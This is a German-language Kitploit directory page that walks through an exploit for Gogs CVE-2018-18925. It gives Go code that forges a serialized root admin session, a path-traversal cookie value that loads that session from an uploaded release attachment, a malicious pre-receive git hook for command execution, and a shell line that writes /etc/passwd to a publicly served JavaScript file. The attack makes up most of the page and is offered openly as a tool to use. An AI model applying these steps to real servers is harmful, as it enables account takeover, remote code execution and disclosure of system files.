Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/jas502n/gogs_rce
Authentifizierung & AutorisierungPrivilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubjas502n/gogs_rce

Gogs_RCE

Exploit für Gogs RCE (CVE-2018-18925), der Sitzungsfälschung und Git-Hook-Injektion nutzt, um eine beliebige Befehlsausführung mit Root-Rechten zu erreichen.

Repository anzeigen
1643vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Reproduktion der Gogs_RCE-Schwachstelle

0x01 Registrierung eines normalen Kontos über das Frontend

0x02 Mit Go eine gefälschte Admin-Session kompilieren

go run main.go

root@kitploit:~
package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data,0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

Im aktuellen Verzeichnis wird eine data-Datei erzeugt.

root@kitploit:~
root@kali:~/go/demo# cat readme.txt 
go run main.go 

0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a  ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f  .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03  old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569  ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269  d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269  ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74                 ng....root
root@kali:~/go/demo# 

0x03 Normaler Benutzer veröffentlicht ein neues Release

Anhang: http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb

Setze das Cookie-Feld i_like_gogits auf den Dateipfad der neuen Version und füge die ersten 2 Buchstaben als Pfadsegmente ein. Zum Beispiel:

attachments/c58bf501-7163-44a8-b77d-79c8396609bb

i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

0x04 Seite aktualisieren – wird zum Root-Administratorkonto

Nach der Änderung

Root-Konto

0x05 Repository-Einstellungen, Git-Hooks verwalten, Hook-Name pre-receive

Wenn der Server eine Linux-Plattform ist, kann man direkt ein Shell-Skript schreiben und Befehle ausführen.

Die Befehlsausführung wird ausgelöst, nachdem eine neue Datei in das Repository hochgeladen wurde.

0x06 Befehlsausgabe – Admin-Panel – Anwendungs-Konfigurationsverwaltung – Stammverzeichnis der statischen Dateien

Über das Stammverzeichnis der statischen Dateien erhält man den absoluten Pfad: Zum Beispiel

root@kitploit:~
静态文件根目录    /app/gogs

Inhalt des Shell-Skripts:

cat /etc/passwd > /app/gogs/public/js/1.js

Ausgabepfad auf der Website:

https://127.0.0.1:3000/js/1.js

Referenzlinks:

Cannot execute custom hooks on Windows #4255

https://github.com/gogs/gogs/issues/4255

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

Tool herunterladen